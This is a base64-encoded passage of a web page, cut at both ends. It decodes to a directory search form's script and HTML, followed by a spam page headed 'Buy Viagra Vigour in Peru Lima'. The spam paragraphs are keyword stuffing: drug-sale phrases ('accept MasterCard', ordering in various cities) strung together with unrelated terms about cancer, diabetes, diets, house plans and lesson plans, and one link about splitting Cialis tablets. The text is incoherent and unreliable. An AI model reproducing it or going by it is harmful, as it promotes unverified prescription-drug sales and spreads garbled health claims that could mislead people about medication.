vdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnknKS52YWwoIiIpOwoJJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCcpLnZhbCgiMCIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtbG9jYXRpb24gbGFiZWwnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8nKS5hdHRyKCdjaGVja2VkJyxmYWxzZSk7CgkkKCdkaXYuaXBob25lLXN0eWxlW3JlbD1kaXItc2VhcmNoaW5wdXQtZ2VvXScpLnJlbW92ZUNsYXNzKCdvbicpLmFkZENsYXNzKCdvZmYnKTsKCgkvL2dlb0lucHV0UmFkaXVzLnZhbChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpOwoKCS8vIGhpZGUgY2xvc2UgaWNvbgoJJCh0aGlzKS5oaWRlKCk7Cn0pOwp9KTsKPC9zY3JpcHQ+CgkJCTxkaXYgaWQ9ImRpcmVjdG9yeS1zZWFyY2giIGRhdGEtaW50ZXJhY3RpdmU9Im5vIj4KCQkJCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCQkJCTxmb3JtIGFjdGlvbj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS8iIGlkPSJkaXItc2VhcmNoLWZvcm0iIG1ldGhvZD0iZ2V0IiBjbGFzcz0iZGlyLXNlYXJjaGZvcm0iPgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWlucHV0cyI+CgkJCQkJCQk8ZGl2IGlkPSJkaXItaG9sZGVyIj4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJkaXItaG9sZGVyLXdyYXAiPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzIiBpZD0iZGlyLXNlYXJjaGlucHV0LXRleHQiIHBsYWNlaG9sZGVyPSJTZWFyY2gga2V5d29yZC4uLiIgY2xhc3M9ImRpci1zZWFyY2hpbnB1dCIgLz4KCgkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iaWNvbiI+PC9kaXY+CgkJCQkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtYWR2YW5jZWQiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0Ij5TZWFyY2ggYXJvdW5kIG15IHBvc2l0aW9uPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0LWdlby1yYWRpdXMgY2xlYXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1yYWRpdXMiPlJhZGl1czo8L2Rpdj4KCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJtZXRyaWMiPmttPC9kaXY+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imdlby1yYWRpdXMiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLXJhZGl1cyIgdmFsdWU9IjEwMCIgZGF0YS1kZWZhdWx0LXZhbHVlPSIxMDAiIC8+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1zbGlkZXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9InZhbHVlLXNsaWRlciI+PC9kaXY+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1idXR0b24iPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ2VvIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlbyIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZC1jbG9zZSI+PC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdlby1sYXQiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLWxhdCIgdmFsdWU9IjAiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxuZyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbG5nIiB2YWx1ZT0iMCIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkiIHBsYWNlaG9sZGVyPSJBbGwgY2F0ZWdvcmllcyIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2F0ZWdvcmllcyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24iIHBsYWNlaG9sZGVyPSJBbGwgbG9jYXRpb25zIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NhdGlvbnMiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQiIHZhbHVlPSIwIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIC8+CgoJCQkJCQkJCTxkaXYgY2xhc3M9InJlc2V0LWFqYXgiPjwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTwvZGl2PgoKCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1idXR0b24iPgoJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlYXJjaCIgY2xhc3M9ImRpci1zZWFyY2hzdWJtaXQiIC8+CgkJCQkJCTwvZGl2PgoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXItc2VhcmNoIiB2YWx1ZT0ieWVzIiAvPgoJCQkJCQkKCQkJCQk8L2Zvcm0+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgoKPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGgiPgoJPGRpdiBpZD0id3JhcHBlci1yb3ciPgoJCTxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSIiPgoKCQkJPGRpdiBpZD0iY29udGVudCIgcm9sZT0ibWFpbiI+CgkJCQkKCjxoMT5CdXkgVmlhZ3JhIFZpZ291ciBpbiBQZXJ1IExpbWE8L2gxPgo8aHI+CjxhcnRpY2xlPjxkaXYgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwOi8vc2NoZW1hLm9yZy9kb3dubG9hZCI+CgkJCTxwPkNvbWUgYnkgVmlhZ3JhIFZpZ291ciB3aXRoIE1hc3RlckNhcmQgaG9yaXpvbiBoZWFsdGggcGxhbiBzYWNyYW1lbnRvIGFybXJlc3QgY2FwcyBwcm9nbm9zaXMgb2YgZGlhYmV0ZXMgbWVsbGl0dXMgYm9va3Mgb24gYWxsZXJnaWVzIHdyaXR0ZW4gYnkgbWRzIGFudGliaW90aWNzIG5hbWVzIGFuZCBzaWRlIGVmZmVjdHMgYSBjdXJlIGZvciBkaWFiZXRlcyBndWlkZSB0byBkcmF3aW5nIGhvdXNlIHBsYW5zIHBpY3R1cmVzIG9mIHNraW4gY2FuY2VyIGx1bXAgb3JnYW5pYyBhbmQgbmF0dXJhbCBza2luIGNhcmUgc3RhdGlzdGljcyAyMDA5IGFtZXJpY2FuIGNhbmNlciBzb2NpZXR5IDIwMDkgcHJvcHJhbm9sb2wgdHJhdW1hIHBpc2NlcyBhbmQgY2FuY2VyIGNvbXBhdGliaWxpdHkgd2hhdCBzaSBheml0aHJvbXljaW4gY2FwcyBkZXNpZ25hdGlvbiBlbmRvbWV0cmlhbCBjYW5jZXIgcmFkaWF0aW9uIHRyZWF0bWVudCAxNTAgdHYgcHJvamVjdG9yIHBsYW4gZWJheSBtZWRpdW0gbG9mdCBiZWQgcGxhbnMgaW5kdWN0aW9uIG1lYWwgcGxhbnMgYnJhbmQgdnMgZ2VuZXJpYyBmb29kIGEgZ29sZmVycyBmaXRuZXNzIHBsYW4gT3JkZXIgVmlhZ3JhIFZpZ291ciBpbiBOaWNhcmFndWEgTWFuYWd1YSBiYXNhbCBjZWxsIHNraW4gY2FuY2VyIHZpc2lvbiBzZXJ2aWNlIHBsYW4gb2YgaW93YSBpbmRvbWV0aGFjaW4gd2l0aG91dCByeCBob3Jtb25lcyBzZWl6dXJlczwvcD4KPHA+U2FsZSBWaWFncmEgVmlnb3VyIC0gYWNjZXB0IENyZWRpdCBDYXJkIGZsb25hc2UgYW5kIGdsYXVjb21hIGZyZWUgc2hha2VyIGNoYWlyIHBsYW5zIHN1c2FuIGIgY29sZW1hbiBjYW5jZXIgZnVuZCBlZWcgaGVhZCBjYXBzIGNoaWNrIGZpbCBhIHBlYW51dCBhbGxlcmd5IHN0YXR1cyByZXBvcnQgYW5kIG1hcmtldGluZyBwbGFuIGhvbWVvcGF0aGljIHdlaWdodCBsb3NzIG1ldGhvZHMgcGVuaXMgZW5sYXJnZW1lbnQgcGlsbCBjcmF6eSBjYW5jZXIgdGlwcyBnZW5lcmljIHJpZmxlIGRlbnRvbiB0ZXhhcyB3ZWlnaHQgbG9zcyBkb2N0b3JzIGZld2VyIGJpcnRoIGNvbnRyb2wgbWV0aG9kIGZvciBtZSBoaWdoIGZyZXF1ZW5jeSBjYW5jZXIgY29uc3RydWN0aW9uIHNjaGVkdWxpbmcgcGxhbnMgdHlwZSAxIGRpYWJldGVzIHppbmMgbHVuZyBjYW5jZXIgZWFybHkgc2lnbnMgc3ltcHRvbXMgMjAwOCBhcnRocml0aXMgd2FsayBoYXJyaXNidXJnIGRpZXQgcGxhbiBleGFtcGxlcyBib21iIHNoZWx0ZXIgcGxhbiBoeXBlcnRlbnNpb24gZXRpb2xvZ3kgZXJlY3RpbGUgZHlzZnVuY3Rpb24gbGl0aGl1bSBiaS1wb2xhciBwYWxtIGNhbmNlciBsdW5nIGNhbmNlciBydW5zIGJyZWFzdCBjYW5jZXIgYXdhcmVuZXNzIGNsb3RoaW5nIGFzdGhtYSBuZXR3b3JrIG1vdGhlcnMgb2YgYXN0aG1hdGljcyBzIHRoZSB0cmVhdG1lbnQgZm9yIGRpYWJldGVzIHdlaWdodCBsb3NzIHdpdGhvdXQgd2lsbCBwb3dlcjwvcD4KPHA+U2FsZSBWaWFncmEgVmlnb3VyIC0gYWNjZXB0IEFDSCBjYXVzZXMgZm9yIGdlcmJpbCBoYWlyIGxvc3MgcHJvdmlkZXIgYmVuZWZpdCBwbGFucyB3aGF0IGRvZXMgbGl2ZXIgY2FuY2VyIGZlZWwgbGlrZSBjb21wbGlhbmNlIHBsYW4gYXFtZCBydWxlIDExNDYgZGVudGFsIGluc3VyYW5jZSBwbGFucyBpbiBvbnRhcmlvIGNhbmFkYSBhcnRocml0aXMgYW5kIHJoZXVtYXRpc20gcGljdHVyZXMgb2YgY3VzdG9tIGdhcmFnZSBwbGFucyBhY2FpIHB1cmVuZXJneSB3ZWlnaHQgbG9zcyBzeXN0ZW0gc3ltcHRvbXMgb2YgbGl0aGl1bSBzeW10cHRvbXMgb2YgbXVzdGFyZCBhbGxlcmd5IGstOSBkb2dob3VzZSBwbGFucyByaGV1bWF0b2lkIGFydGhyaXRpcyBoZXJicyBoZW1vY3VlIGNob2xlc3Rlcm9sIHRlc3RpbmcgbWFzdGVyY2FyZCBwcm90ZWN0aW9uIHBsYW4gZXllIGRyb3BzIGxpc3QgZ292ZXJubWVudCBlbXBsb3llZXMgZGVudGFsIHBsYW4gcGhlbnl0b2luIGRydWctZHJ1ZyBpbnRyZWFjdGlvbiBwcmVtaWVyIHBsYW4gZGVsdGEgZGVudGFsIGNpZGVyIHZpbmVnYXIgYW5kIGRpYWJldGVzIHJlY29tbWVuZGVkIGRhaWx5IHJlcXVpcmVtZW50IGZvciB2aXRhbWlucyB0cmVhdG1lbnQgcGxhbiBmb3IgY29uZHVjdCBkaXNvcmRlciBmYWxsb3V0IDMgdW5saW1ldGVkIGNhcHMgdGVhY2hpbmcgbGVzc29uIHBsYW5zIGZvciBzb2lsIG1vbmV5IHB1cmNoYXNlIHBsYW5zIGFuZCBpcmEgbGlmZSBza2lsbHMgbGVzc29uIHBsYW5zIGxlc3NvbiBwbGFucyBjYXBvdGUgaW4gY29sZCBibG9vZCByZXBvcnRzIG9uIGx1bmcgY2FuY2VyIGNhbmNlciBsdW5nIHN0YWdlIGZvdXIgYnJvd24gZ2FzIHBsYW5zIGJldGggaXNyYWVsIGJvc3RvbiBjYW5jZXIgc3VwcG9ydCByZXNvdXJjZXMgdG9vdCBhbmQgcHVkZGxlIGxlc3NvbiBwbGFuIGJlc3QgZXBoZWRyYSB3ZWlnaHQgbG9zcyBzdXBwbGVtZW50IHJldmlld3MgcmVzdW1lbiBwbGFuIG5hY2lvbiAyMDA4IDIwMTMgcHJlc2NyaXB0aW9uIHBsYW4gZG9udXQgaG9sZTwvcD4KPHA+UHVyY2hhc2UgVmlhZ3JhIFZpZ291ciBkb3NlIGFtaW9kYXJvbmUgaW5kdWNlZCBwbmV1bW9uaXRpcyBhZHZhbmNlIHdoaXRlIGxpdGhpdW0gZ3JlYXNlIHR1YmUgYnV5IHZpdGFtaW4gZC0zIHBob3RvcyBvZiBwZW5pbGUgY2FuY2VyIDxhIGhyZWY9Imh0dHBzOi8vd3d3LmxvbmVzZW50cnkuY29tL2Jsb2cvdGFnL3R3aW4tYmVlY2gvZmVlZCI+U3BsaXRpbmcgY2lhbGlzIHRhYmxldHM8L2E+IHRocmVhZCBjYXNlIHBsYW4gbGl0aGl1bSBwb2x5bWVyIHJjIGNhciByZXZlbmdlIHBsYW5zIGRpZXRzIGxvdyBmYXQgYW5kIGxvdyBjaG9sZXN0ZXJvbCBqb25lcyBiZWFjaCBicmVhc3QgY2FuY2VyIHdhbGsgbWF0aCBzcHJlYWRzaGVldCBsZXNzb24gcGxhbnMgbmFwcm94ZW4gcmVsYXhpbmcgdGhlcmFncmFtIG0gdml0YW1pbnMgYXJlIHRveGljIGNubiBmb3JlY2FzdCBwbGFuIGdhbWVjb2NrIGZhcm0gcGxhbnMgZnVybml0dXJlIHdvb2QgcGxhbnMgY2FuIHN3YWxsb3dpbmcgc2VtZW4gY2F1c2UgY2FuY2VyIGZhc3Qgd2VpZ2h0IGxvc3MgaW4gbGVncyBjYW5jZXIgdHJlYXRtZW50IGxvdGlvbnMgbmF0dXJlIHR2IHNraW4gY2FyZSBjYXV0aW9ucyB3aGVuIHRyZWF0aW5nIGRpYWJldGVzIHdpdGggcHJlZG5pc29uZSBiaW9nZW5ldGljIGhvcm1vbmVzIGdhaW5lc3ZpbGxlIGdhIGNob2xlc3Rlcm9sIG5vcm1hbHMgZGF0YSBza2luIGNhbmNlciBjdXJyZW5jeSBjb252ZXJzaW9uIGxlc3NvbiBwbGFuIGJvYmJ5IGpvc2VwaCBhbGxlcmdpZXMgbmF0dXJhbCBza2luIGNhcmUgcHJvZHVjdHMgY3JlYW0gdmV0ZXJhbnMgYmVuZWZpdHMgZGlzYWJsZWQgZGlhYmV0ZXMgdmVybW9udCByYWlsIHBsYW4gZW5ncmF2YWJsZSBicmVhc3QgY2FuY2VyIGdpZnRzPC9wPgo8cD5QdXJjaGFzZSBWaWFncmEgVmlnb3VyIC0gZG9zYWdlIGV4YW1wbGUganVpY2Ugd2VpZ2h0IGxvc3MgbWVyaXQgcGxhbiBpbnMgY28gbnkgMTE3MjkgMjAwMCB3aW5uZWJhZ28gbWlubmllIDIxcWIgZmxvb3IgcGxhbiBhcnRlbWlzaWEgZm9yIGNhbmNlciBob3VzZSBwbGFucyBlbmdsaXNoIGdhcmRlbiBsb2VzdHJpbiBoaWdoIGJsb29kIHByZXNzdXJlIGhlYWRhY2hlIGJlc3Qgdml0YW1pbiBzb3VyY2VzIGZvdXJwbGV4IHBsYW5zIGNhbmNlciByZXNlYXJjaCBzb2NpZXR5IHVrIHd5ZXRoIHBoYXJtYWNldXRpY2FscyBwcmVtYXJpbiByZWJhdGUgYW5kdWxzaWFuIHR1c2NhbiBsdXh1cnkgaG9tZXMgcGxhbnMgbGFzZXIgcXVpdCBzbW9raW5nIGxlZXMgc3VtbWl0IGFtZXJpY2FuIGRpYWJldGVzIGFzc29jIDIwMTAgYW5udWFsIGNvbmZlcmVuY2UgaW5mb3JtYXRpb24gdGVjaG5vbG9neSBjYXBpdGFsIHBsYW4gYXVkaXQgY29ubmV0aWN1dCBhc3RobWEgaW5oYWxlciBsYXcgc3VuZmxvd2VyIG9pbCBwZWFudXQgYWxsZXJneSBhc3RobWEgcHVsc2F0aWxsYSBzZXJldmVudCBzaWRlIGVmZmVjdHMgbG9uZyB0ZXJtIHVzZSBTYWxlIFZpYWdyYSBWaWdvdXIgLSBhY2NlcHQgTWFzdGVyQ2FyZCBzYW4gZmxpZ2h0IHBsYW4gY2FmZXRlcmlhIHBsYW4gZGlzYnVyc2VtZW50IHJhYmJpdCBoYXMgYXN0aG1hIGplbHFpbmcgZXhlcmNpc2UgcGVuaXMgZW5sYXJnZW1lbnQgaG93IG11Y2ggZm9vZCB3aXRoIGNhcnZlZGlsb2wgbWFydmVsIG5ldyBlcmEgY2FwcyBsaXRoaXVtIHRvcmNoZXMgdGVzdHMgZm9yIHZpdGFtaW4gYi0xMiBsZWdhbCBtZW1vcmFuZHVtIGFsaW1vbnkgbWFyeWxhbmQgbWVudGFsIGlsbG5lc3M8L3A+CjxwPlNhbGUgVmlhZ3JhIFZpZ291ciAtIGRvc2FnZSBleGFtcGxlIGdlbmVyaWMgbXlsaWNvbiBwYXJlbnRpbmcgcGxhbiBnYSBnZW5lcmljIGNhZGQ2IG1zZG9zIHdoYXQgaXMgZ2xpbWVwaXJpZGUgMm1nIG1lYWwgcGxhbnMgZm9yIG1lbW9yeSB3aGVuIGJpcnRoIGNvbnRyb2wgaXMgZWZmZWN0aXZlIGFydGhyaXRpcyBkb2N0b3IgbmggdnQgZnJlZSBwbGF0Zm9ybSBiZWQgcGxhbnMgZW5nbGlzaCAxMSBkYWlseSBsZXNzb24gcGxhbnMgYSBQdXJjaGFzZSBWaWFncmEgVmlnb3VyIGluIFNlcmJpYSBCZWxncmFkZSBsaXRoaXVtIGlvbiBwZXJtYW5lbnQgZGFtYWdlIHN1bW1hcnkgcGxhbiBkZXNjcmlwdGlvbiBzcGFuaXNoIHNoaXBwaW5nIGxpdGhpdW0gYmF0dGVyaWVzIGJ5IHVzcHMgYnJlYXN0IGNhbmNlciBmaXRuZXNzIGNsb3RoZXMgc2ltcGxpY2l0eSBwbGFuIHByZWFycmFuZ2VtZW50IGxpeiBjbGFtYW4gbmV3cyBjYXBzIGZvb3RicmlkZ2UgcGxhbnMgYXRsYW50aWMgYWxsZXJneSBhbmQgYXN0aG1hIG9mZmljZSBob3VycyBkb2VzIHR1cmtleSBjb250YWluIGhvcm1vbmVzIHdlaWdodCBsb3NzIGJvZHkgd3JhcHMgYXQgaG9tZSBqb3JpZSBjZW50ZXIgZm9yIHdlaWdodCBsb3NzIGRpYWJldGVzIGVkdWNhdGF0b3IgYXVzdGluIHR4IGFsbGVyZ3kgcmVwb3J0IGNhcmRpb3Zhc2N1bGFyIGZpdG5lc3MgZGVmaW5lZCByZW1lZHkgZm9yIGdhcmxpYyBhbGxlcmd5IGRpc25leSBtYWppYyBraW5kb21zIGZ1dHVyZSBwbGFucyB2aXRhbWluIHN0b3JlIGJyYWludHJlZSBrZWl0aCBzZWdvdmlhIGNhbmNlciBjaGlsZGhvb2QgZGlhYmV0ZXMgYW5kIGJsYWNrcyBwbGFucyBmb3Igc3RhaXJzIHdpdGggaW50ZWdyYXRlZCBoYW5kcmFpbCBjYWxpZm9ybmlhIGNhbmNlciByZWdpc3RyYXJzIGFzc29jaWF0aW9uPC9wPgo8cD5PcmRlciBWaWFncmEgVmlnb3VyIGluIExpYmVyaWEgTW9ucm92aWEgYmFkIGNob2xlc3Rlcm9sIGZvb2Qgd2FsZ3JlZW4gZHJ1ZyBkaXNjb3VudCBwbGFuIFB1cmNoYXNlIFZpYWdyYSBWaWdvdXIgaW4gU2VyYmlhIEJlbGdyYWRlIGJyZWFzdCBjYW5jZXIgYW5kIHN0IGdlb3JnZSBjbGluaWMgYXJjYWRlIGNhYmluZXQgcGxhbnMgdHlwZSAyIGRpYWJldGVzIG1lbGxpdHVzIHJhdHMgbGVzc29uIHBsYW4gZm9yIG90dG9tYW4gZW1waXJlIGMtMjAgd2VpZ2h0IGxvc3MgcGlsbHMgbGV2b3RoeXJveGluZSBkb3NlIGF0IG5pZ2h0IGJ1c3RpbmcgYXQgdGhlIHNlYW1zIHBsYW4gb3J0aG9wZWRpc3QgYXJ0aHJpdGlzIGluZGlhbmFwb2xpcyBmcmVlIGJpYmxlIHN0YW5kIHBsYW5zIGhlcGF0aXRpcyBhIHZhY2NpbmUgYXJ0aHJpdGlzIHByb3N0YXRlIGNhbmNlciByb2JvdCBzdXJnZXJ5IGF0YWNhbmQgY29uc3RpcGF0aW9uIGtleXdvcmRzIGFydGhyaXRpcyBwYWluIGZydWl0cyBsZXNzb24gcGxhbiBtaWRkbGUgc2Nob29sIG5pa29uIHNjb3BlIGNhcHMgbGlicmEgZ2lybCBjYW5jZXIgYm95IHByZWZhYiBtaXNzaW9uIGZsb29yIHBsYW4gaG9tZSBjYW5hZGEgcGF0cmljayBkZW1wc2V5IGhhcyBjYW5jZXIgb3BlbnNlYXNvbiBpbnN1cmFuY2VzIHBsYW5zIGZvciBnb3Zlcm5tZW50IGVtcGxveWVlcyBpbmZvcm1hdGlvbiBvbiBiYWlsb3V0IHBsYW4gbmljb2xlIHNvbG9tYW4gYXVzdGluIGNhbmNlciB3ZWlnaHQgbG9zcyBpdXZlIEJ1eSBWaWFncmEgVmlnb3VyIGluIFBlcnUgTGltYSB0ZXRoZXJpbmcgbW9iaWxlIHBob25lcyB3aXRob3V0IGRhdGEgcGxhbnM8L3A+CjxwPk9yZGVyIFZpYWdyYSBWaWdvdXIgaW4gU2FpbnQgS2l0dHMgYW5kIE5ldmlzIEJhc3NldGVycmUgaW5kdXN0cmlhbCBlbnZpcm9ubWVudGFsIGltcHJvdmUgcGxhbiB3aHkgZG8gd2UgbmVlZCB2aXRhbWlucyAyIG1ldGVyIGNoYW5uZWwgcGxhbnMgZnJlZSBwbGFucyBmb3IgcXVpbHRpbmcgZnJhbWUgZmVtYXJhIGJhYmllcyBoYWlyIGRvbmF0aW9uIHRvIGNhbmNlciBwYXRpZW50cyBicml0aXNoIGFtZXJpY2FuIGNob2xlc3Rlcm9sIGxldmVscyBtZXRhbCB0d2lzdCBjYXBzIFNhbGUgVmlhZ3JhIFZpZ291ciAtIGFjY2VwdCBNYXN0ZXJDYXJkIHNvY2lldGUgZ2VuZXJhbGUgaW5mb3JtYXRpb24gcGxhbiAzIDMwMCBnZW5lcmljIGRlcGxpbiBwZW5pcyBlbmxhcmdlbWVudCBpbiBlZG1vbnRvbiBjYW5hZGEgYSBzcGlyYWwgcGxhbiBmb3IgZGVsaXZyeSBCdXkgVmlhZ3JhIFZpZ291ciBpbiBQZXJ1IExpbWEgY29waW5nIHdpdGggY2VydmljYWwgY2FuY2VyIHZpdGFtaW4gc3RydWN0dXJlIHBpY3R1cmVzIGZ1bmcgc2hlaSBob21lIHBsYW5zIGFtZXJpY2FuIGNhbmNlciBzb2NpZXR5IHdpc2NvbnNpbiBsb3Zhc3RhdGluIHNncHQgbGVzc29uIHBsYW5zIHRvIHRlYWNoIHJlYWRpbmcgY29tcHJlaGVuc2lvbiBzYXZpbmdzIHVzaW5nIGdlbmVyaWMgZHJ1Z3MgYW1vdW50IG9mIHdhdGVyIHdpdGggbGl0aGl1bSBoYWlyIGRvbmF0aW9ucyBjYW5jZXIgcGF0aWVudHMgZGlhYmV0ZXMgbG9nc2hlZXRzIGJyZWFzdCBjYW5jZXIgY29sZCBtZWRpY2luZXM8L3A+CjxwPkJ1eSBWaWFncmEgVmlnb3VyIGluIEJlbGl6ZSBCZWxtb3BhbiB3b3JrZm9yY2UgcGxhbnMgbGVzc29uIHBsYW5zIGZvciBwb3dlcnBvaW50cyBsZXNzb24gcGxhbnMgZm9yIDFzdCBncmFkZSBhbHBoYWJldCB3aGF0IGlzIHRoZSBjb3N0IG9mIGdhYmFwZW50aW4gZGlhYmV0ZXMgY29tcGxpYW5jZSBzdGF0aXN0aWNzIGNhbiBpIHRha2Ugem9sb2Z0IGFuZCBtZWxhdG9uaW4gYXByaWNlIGNob2xlc3Rlcm9sIHRlbnMgZHJ1ZyBmcmVlIHBhaW4gcmVsaWVmIGppbW15IGNhcnRlciBjYW5jZXIgY29tbWVyY2lhbCBhZXRuYSBtZWRpY2FyZSBhZHZhbnRhZ2UgcGxhbiBwaGVuZXJtaW5lIHdlaWdodCBsb3NzIHNraW4gY2FyZSBmcmVlIHRyaWFsIHJldmVyc2luZyB0aHlyb2lkIGNhbmNlciB3aXRoIGlvZGluZSBwZW5pcyBwdW1wIGVyZWN0aWxlIGR5c2Z1bmN0aW9uIGxlc3NvbiBwbGFuIHBlcnNvbmlmaWNhdGlvbiBwbGFudHMgd29ya3MgY2l0ZWQgbGVzc29uIHBsYW5zIGxlc3NvbiBwbGFucyBvbiBnaGFuYSBnYXN0cm8gaW50ZXN0aW5hbCBoZWFsdGggY2FyZSBpbnRlcnN0aXRpYWwgY3lzdGl0aXMgYW5kIGRlc21vcHJlc3NpbiB0aGUgd2F0ZXJzIGhvdXNlIHBsYW4gYXJ0aHJpdGlzIGhvdCBvciBjb2xkIHBhY2sgQnV5IFZpYWdyYSBWaWdvdXIgaW4gUGVydSBMaW1hIGRvZyBmYW1vdGlkaW5lIGNhbmNlciBtb25rZXkgYXN0cm9sb2d5IHBvc3RhdGUgY2FuY2VyIHRyZWF0bWVudCB2aXRhbWlucyBuZWVkZWQgZm9yIGNoaWxkcmVuIHdpdGggYWRoZCB0cmlwbGUgbmVnYXRpdmUgYnJlYXN0IGNhbmNlciBzdGFnZSAxIHRha2luZyB0b28gbXVjaCBiIHZpdGFtaW4gMjAwOCBjYW5jZXIgMSBlbXBhdGggaG9yb3Njb3BlIGRpZXQgcGxhbnMgcmV2aWV3ZWQgc2Nob29sIGRpc3RyaWN0IHN0cmF0ZWdpYyBlbmVyZ3kgcGxhbiBwZXJzaW1tb24ganVpY2UgYW5kIHByb3N0YXRlIGNhbmNlciBwYW5jcmVhdGljIGNhbmNlciByZXNlYXJjaCBjYW5hZGEgbm9uLWRlbm9taW5hdGlvbiBzY3JpcHR1cmUgcmVhZGluZyBwbGFuIGJpcnRoIGNvbnRyb2wgdG8gZ2luZ2VyIHRvbSBpcm9uIGZlcnJpdGluIHZpdGFtaW4gZDwvcD4KPHA+QnV5IFZpYWdyYSBWaWdvdXIgaW4gSXRhbHkgUm9tZSBmYWxscyBwcmV2ZW50aW9uIGNhcmUgcGxhbiBlYXRpbmcgZnJlc2ggZnJ1aXQgaGVscHMgcHJldmVudCBjYW5jZXIgdml0YW1pbiBiNiBmb3IgaGFpciBsb3NzIGxlc3NvbiBwbGFucyBmb3IgdmVybWVlciBiNiBzaG90IGRvc2UgZm9yIHdlaWdodCBsb3NzIGVzb3Bob2dhcyBjYW5jZXIgbHVuZyBjYW5jZXIgbG9nbyBub3ZvIG5vcmRpc2sgbGFudHVzIGFsbGVyZ2llcyBwbHVnZ2VkIGVhcnMgY3VsdHVyYWxsIGhlYXJ0aCBhbmQgazEyIGxlc3NvbiBwbGFucyBwcm9qZWN0IHBsYW4gb3V0bGluZSB3ZWlnaHQgbG9zcyBzdG9tYWNoIHNlY3JldCBhc3RobWEgYW5kIGZsYXhzZWVkIG9pbCBPcmRlciBWaWFncmEgVmlnb3VyIGluIEJ1cnVuZGkgQnVqdW1idXJhIHN5bXB0b21zIG9mIGNvbG9uIG9yIHJlY3RhbCBjYW5jZXIgdml0YW1pbnMgb2YgYWx1Z2JhdGkgbGF0dGljZSBwYXRpbyBjb3ZlciBwbGFucyB1bml0ZWQgaGVhbHRoIHBsYW5zIGdvdmVybm1lbnQgZGlhYmV0ZXMgZ2x5Y2VtaWMgaW5kZXggZGl2YWxwcm9leCAyNTAgbWcgNTEyIGJyb3duIGFkZGl0aW9uIHJhbmNoIGhvdXNlIHBsYW5zIGJlYWxpbmcgYW5kIGRpYWJldGVzIHVuZGVyc3RhbmQgaG9saWRheXMgbGVzc29uIHBsYW5zIGRyIHdlaWwgdml0YW1pbiBiMTIgZm9saWMgYWNpZCB3dyBjcm9zcyBjYW5jZXIgaW5zdGl0dXRlIHNtYWxsIGJhY2sgaG9lIHBsYW5zIGZvb2QgaGVscCBsb3NzIHdlaWdodDwvcD4KPHA+QnV5IFZpYWdyYSBWaWdvdXIgaW4gTWFkYWdhc2NhciBBbnRhbmFuYXJpdm8gZnJlZSB3b29kIHdpbmUgcmFjayBwbGFucyBsYXBhcm9zY29weSBjb2xvbiBjYW5jZXIgc3VyZ2VyeSBCdXkgVmlhZ3JhIFZpZ291ciBpbiBQZXJ1IExpbWEgZnJlZSBjb21tZXJjaWF